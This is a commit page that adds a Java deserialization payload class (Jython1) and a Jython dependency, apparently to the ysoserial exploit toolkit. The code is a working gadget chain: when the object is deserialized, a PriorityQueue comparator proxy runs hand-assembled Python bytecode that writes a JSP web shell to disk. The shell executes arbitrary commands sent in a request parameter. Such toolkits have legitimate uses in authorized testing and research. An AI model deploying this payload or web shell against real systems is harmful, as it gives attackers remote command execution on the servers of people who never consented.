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Rebased Jython Gadget

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Alvaro Muñoz
2016-03-14 00:30:31 +01:00
parent 2650ab6093
commit 097179b703
2 changed files with 91 additions and 0 deletions
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pom.xml
+5
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@@ -238,6 +238,11 @@
<artifactId>rome</artifactId> <artifactId>rome</artifactId>
<version>1.0</version> <version>1.0</version>
</dependency> </dependency>
<dependency>
<groupId>org.python</groupId>
<artifactId>jython-standalone</artifactId>
<version>2.5.2</version>
</dependency>
</dependencies> </dependencies>
<profiles> <profiles>
src/main/java/ysoserial/payloads/Jython1.java
+86
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@@ -0,0 +1,86 @@
package ysoserial.payloads;
import org.python.core.*;
import java.io.*;
import java.math.BigInteger;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Comparator;
import java.util.PriorityQueue;
import ysoserial.payloads.util.Reflections;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
/**
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
*/
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
@Dependencies({ "org.python:jython-standalone:2.5.2" })
public class Jython1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String path) throws Exception {
// Set payload parameters
String webshell= "<%@ page import=\"java.util.*,java.io.*\"%>\n" +
"<html><body><form method=\"GET\" name=\"myform\" action=\"\">\n" +
"<input type=\"text\" name=\"cmd\">\n" +
"<input type=\"submit\" value=\"Send\">\n" +
"</form>\n" +
"<pre>\n" +
"<%\n" +
"if (request.getParameter(\"cmd\") != null) {\n" +
"out.println(\"Command: \" + request.getParameter(\"cmd\") + \"<br>\");\n" +
"Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\"));\n" +
"OutputStream os = p.getOutputStream();\n" +
"InputStream in = p.getInputStream();\n" +
"DataInputStream dis = new DataInputStream(in);\n" +
"String disr = dis.readLine();\n" +
"while ( disr != null ) {\n" +
"out.println(disr);\n" +
"disr = dis.readLine();\n" +
"}\n" +
"}\n" +
"%>\n" +
"</pre></body></html>";
// Python bytecode to write a file on disk
String code =
"740000" + // 0 LOAD_GLOBAL 0 (open)
"640100" + // 3 LOAD_CONST 1 (<PATH>)
"640200" + // 6 LOAD_CONST 2 ('w')
"830200" + // 9 CALL_FUNCTION 2
"690100" + // 12 LOAD_ATTR 1 (write) ??
"640300" + // 15 LOAD_CONST 3 (<webshell>)
"830100" + // 18 CALL_FUNCTION 1
"01" + // 21 POP_TOP
"640000" + // 22 LOAD_CONST
"53"; // 25 RETURN_VALUE
// Helping consts and names
PyObject[] consts = new PyObject[]{new PyString(""), new PyString(path), new PyString("w"), new PyString(webshell)};
String[] names = new String[]{"open", "write"};
// Generating PyBytecode wrapper for our python bytecode
PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{}, "noname", "<module>", 0, "");
Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());
// Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method
PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj);
// Prepare Trigger Gadget
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Jython1.class, args);
}
}